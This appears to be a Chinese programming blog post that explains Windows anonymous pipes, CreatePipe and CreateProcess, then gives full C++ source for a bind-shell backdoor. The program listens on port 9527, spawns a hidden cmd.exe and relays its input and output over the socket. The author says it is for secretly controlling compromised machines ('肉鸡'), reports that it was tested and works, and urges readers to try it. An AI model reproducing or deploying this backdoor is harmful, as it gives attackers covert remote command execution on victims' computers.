网络编程——进程间通信(匿名管道)
匿名管道概述
匿名管道就是没有名字的管道了,还有一种管道呢,叫做命名管道。
在本地机器上可以使用匿名管道来实现父进程和子进程之间的通信,这里需要注意两点,第一就是在本地机器上,这是因为匿名管道不支持跨网络之间的两个进程之间的通信,第二就是实现的是父进程和子进程之间的通信,而不是任意的两个进程。说了这么多,到底怎么使用匿名管道呢?
匿名管道使用
匿名管道主要用于本地父进程和子进程之间的通信,
在父进程中,首先是要创建一个匿名管道,
在创建匿名管道成功后,可以获取这个匿名管道的读句柄和写句柄(是两个句柄哦),
然后父进程就可以向这个匿名管道中写入数据和从匿名管道中读取数据了;
但是如果要实现的是父子进程通信的话,那么还必须在父进程中创建一个子进程,
同时,这个子进程必须能够继承和使用父进程的一些公开的句柄,
为什么呢?
因为在子进程中必须要使用父进程创建的匿名管道的读写句柄,
通过这个匿名管道才能实现父子进程的通信,所以必须继承父进程的公开句柄。
例如使用匿名管道来实现进程A和进程B之间的通信,需要创建两个匿名管道,一个A发送数据(使用管道1的写句柄)B接收数据(使用管道1的读句柄)的匿名管道1,一个B发送数据(使用管道2的写句柄)A接收数据(使用管道2的读句柄)的匿名管道2,这样进程A和进程B之间的通信才能做到“有来有回”。
同时在创建子进程的时候,必须将子进程的标准输入句柄设置为父进程中创建匿名管道时得到的读管道句柄,
将子进程的标准输出句柄设置为父进程中创建匿名管道时得到的写管道句柄。
然后在子进程就可以读写匿名管道了。
匿名管道的创建
BOOL WINAPI CreatePipe(
__out PHANDLE hReadPipe,
__out PHANDLE hWritePipe,
__in LPSECURITY_ATTRIBUTES lpPipeAttributes,
__in DWORD nSize );
参数 hReadPipe 为输出参数,该句柄代表管道的读取句柄。
参数 hWritePipe 为输出参数,该句柄代表管道的写入句柄。
参数 lpPipeAttributes 为一个输入参数,指向一个 SECURITY_ATTRIBUTES 的结构体指针,
其检测返回的句柄是否能够被子进程继承,如果此参数为 NULL ,则表明句柄不能被继承,
在匿名管道中,由于匿名管道要在父子进程之间进行通信,而子进程如果想要获得匿名管道的读写句柄,则其只能通过从父进程继承获得,当一个子进程从其父进程处继承了匿名管道的读写句柄以后,子进程和父进程之间就可以通过这个匿名管道的读写句柄进行通信了。所以在这里必须构建一个 SECURITY_ATTRIBUTES 的结构体,并且该结构体的第三个结构成员变量 bInheritHandle 参数必须设置为 TRUE ,从而让子进程可以继承父进程所创建的匿名管道的读写句柄。
typedef struct _SECURITY_ATTRIBUTES {
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
子进程的创建
BOOL CreateProcess(
LPCWSTR pszImageName, LPCWSTR pszCmdLine,
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles, DWORD fdwCreate,
LPVOID pvEnvironment, LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo,
LPPROCESS_INFORMATION pProcInfo);
参数 pszImageName 是一个指向 NULL 终止的字符串,用来指定可执行程序的名称。
参数 pszCmdLine 用来指定传递给新进程的命令行字符串,一般做法是在 pszImageName 中传递可执行文件的名称,
在 pszCmdLine 中传递命令行参数。
参数 psaProcess 即代表当 CreateProcess 函数创建进程时,需要给进程对象设置一个安全性。
参数 psaThread 代表当 CreateProcess 函数创建新进程后,需要给该进程的主线程对象设置一个安全性。
参数 fInheritHandles 用来指定父进程随后创建的子进程是否能够继承父进程的对象句柄,
如果该参数设置为 TRUE ,则父进程的每一个可继承的打开句柄都将被子进程所继承,
继承的句柄与原始的句柄拥有同样的访问权。
在匿名管道的使用中,因为子进程需要使用父进程中创建的匿名管道的读写句柄,
所以应该将这个参数设置为 TRUE ,从而可以让子进程继承父进程创建的匿名管道的读写句柄。
参数 fdwCreate 用来指定控件优先级类和进程创建的附加标记。
如果只是为了启动子进程,则并不需要设置它创建的标记,可以将此参数设置为 0,
对于这个参数的具体取值列表可以参考 MSDN 。
参数 pvEnvironment 代表指向环境块的指针,
如果该参数设置为 NULL ,则默认将使用父进程的环境。通常给该参数传递 NULL。
参数 pszCurDir 用来指定子进程当前的路径,
这个字符串必须是一个完整的路径名,其包括驱动器的标识符,
如果此参数设置为 NULL ,那么新的子进程将与父进程拥有相同的驱动器和目录。
参数 psiStartInfo 指向一个 StartUpInfo 的结构体的指针,用来指定新进程的主窗口如何显示。
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
对于 dwFlags 参数来说,如果其设置为 STARTF_USESTDHANDLES ,
则将会使用该 STARTUPINFO 结构体中的 hStdInput , hStdOutput , hStdError 成员,
来设置新创建的进程的标准输入,标准输出,标准错误句柄。
参数 pProcInfo 为一个输出参数,
指向一个 PROCESS_INFORMATION 结构体的指针,用来接收关于新进程的标识信息。
typedef struct _PROCESS_INFORMATION
{
HANDLE hProcess;
HANDLE hThread;
DWORD dwProcessId;
DWORD dwThreadId;
}PROCESS_INFORMATION;
其中 hProcess 和 hThread 分别用来标识新创建的进程句柄和新创建的进程的主线程句柄。
dwProcessId 和 dwThreadId 分别是全局进程标识符和全局线程标识符。
前者可以用来标识一个进程,后者用来标识一个线程。
前期的准备工作做好了,下面我们来做点小例子,实现一个双管道主动连接型后门程序
在肉鸡上运行这个程序以后,主机能够通过telnet偷偷摸摸的连接到肉鸡上,在cmd命令行模式下输入一些命令来查看肉鸡的一些系统信息,打枪滴不要,干坏事滴要悄悄滴,嘻嘻
下面是代码
在头文件中tpDoor.cpp中定义一个节点
class CThreadNode {
public:
SOCKET m_Sock; //存储socket信息
HANDLE hPipe; //存储管道句柄
CThreadNode()
{
m_Sock = INVALID_SOCKET;
hPipe = NULL;
}
};
// tpDoor.cpp : Defines the entry point for the application.
//
#include "tpDoor.h"
BOOL bExit = FALSE;
#define RECV_BUF_LEN 4096
char szCmdBuf[MAX_PATH] = {0};
//初始化网络库
BOOL SocketInit()
{
WSADATA wsaData = {0};
if ( WSAStartup(MAKEWORD(2, 2), &wsaData) == NO_ERROR ) {
return TRUE;
}else{
return FALSE;
}
}
//要发送的数据量大时,需要采用循环发送的方式
int SendData(SOCKET m_Sock, void *pBuf, DWORD dwBufLen)
{
//对传入参数进行校验
if ( m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0 ) {
return -1;
}
int iCurrSend = 0, offset = 0;
do {
iCurrSend = send(m_Sock, (char *)pBuf+offset, dwBufLen, 0);
if ( iCurrSend <= 0 ) {
break;
}
dwBufLen -= iCurrSend;
offset += iCurrSend;
} while ( dwBufLen > 0 );
return offset;
}
DWORD WINAPI ThreadInputProc(LPVOID lpParam)
{
CThreadNode tNode = *(CThreadNode *)lpParam;
DWORD dwWrited = 0, dwRecvd = 0;
char szBuf[MAX_PATH] = {0};
BOOL bRet = FALSE;
while ( TRUE )
{
dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);
if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR )
{
WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);
}
else
{
closesocket(tNode.m_Sock);
WriteFile(tNode.hPipe, "exit\r\n", sizeof("exit\r\n"), &dwWrited, NULL);
bExit = TRUE;
break;
}
Sleep(50);
}
return TRUE;
}
DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
{
CThreadNode tNode = *(CThreadNode *)lpParam;
char szBuf[RECV_BUF_LEN] = {0};
DWORD dwReadLen = 0, dwTotalAvail = 0;
BOOL bRet = FALSE;
while ( !bExit )
{
dwTotalAvail = 0;
bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);//向匿名管道中偷看一眼是否有数据
if ( bRet && dwTotalAvail > 0 )
{
bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);
if ( bRet && dwReadLen > 0 )
{
SendData(tNode.m_Sock, szBuf, dwReadLen);
}
Sleep(50);
}
}
return TRUE;
}
BOOL StartShell(UINT uPort)
{
//开启网络库
if ( !SocketInit() ) {
return FALSE;
}
//创建TCP套接字
SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( m_ListenSock == INVALID_SOCKET )
{
return FALSE;
}
//填充服务器sockaddr_in结构
sockaddr_in sServer = {0};
sServer.sin_family = AF_INET;
sServer.sin_addr.s_addr = htonl(INADDR_ANY);
sServer.sin_port = htons(uPort);
//绑定和监听
if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR )
{
return FALSE;
}
if ( listen(m_ListenSock, 5) == SOCKET_ERROR )
{
return FALSE;
}
//接收连接
SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL);
//创建匿名管道
CThreadNode m_ReadNode, m_WriteNode;
HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command
HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;
m_ReadNode.m_Sock = m_WriteNode.m_Sock = m_AcceptSock;
//创建匿名管道时,指定安全属性中bInheritHandle为TRUE,这样子进程才能继承父进程中的句柄,实现匿名管道通信
SECURITY_ATTRIBUTES sa = {0};
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if ( !CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0) || !CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0) )
{
return FALSE;
}
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0}; //必须把结构体中未使用的数据清零,否则创建新进程有时能创建,有时不能创建。
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
//告诉CreateProcess函数我要使用哪些成员,不使用哪些成员,由于需要使用hStdInput,hStdOutput,wShowWindow,所以指定了STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES标识
si.hStdInput = hReadPipe1;
si.hStdOutput = si.hStdError = hWritePipe2;
si.wShowWindow = SW_HIDE;
//获取当前系统目录
TCHAR szCmdLine[MAX_PATH] = {0};
GetSystemDirectory(szCmdLine, MAX_PATH);
_tcscat_s(szCmdLine, MAX_PATH, _T("\\cmd.exe"));
if ( !CreateProcess(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) )
{
return FALSE;
}
m_ReadNode.hPipe = hReadPipe2;
HANDLE hThreadOutput = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, 0);
m_WriteNode.hPipe = hWritePipe1;
HANDLE hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &m_WriteNode, 0, 0);
//创建线程需要一定时间,用WaitForMultipleObjects等待线程句柄创建完毕
HANDLE szHandles[] = { hThreadOutput, hThreadInput };
WaitForMultipleObjects(2, szHandles, TRUE, INFINITE);
return TRUE;
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
StartShell(9527);
return 0;
}
程序我亲自测试过了,没有问题。
在一台机器上运行程序,然后用另一台机器来telnet前面的机器,接下来的事情大家好好自己体验哈,呵呵
多动手实践,多想想为什么,才能慢慢进步,与大家共勉!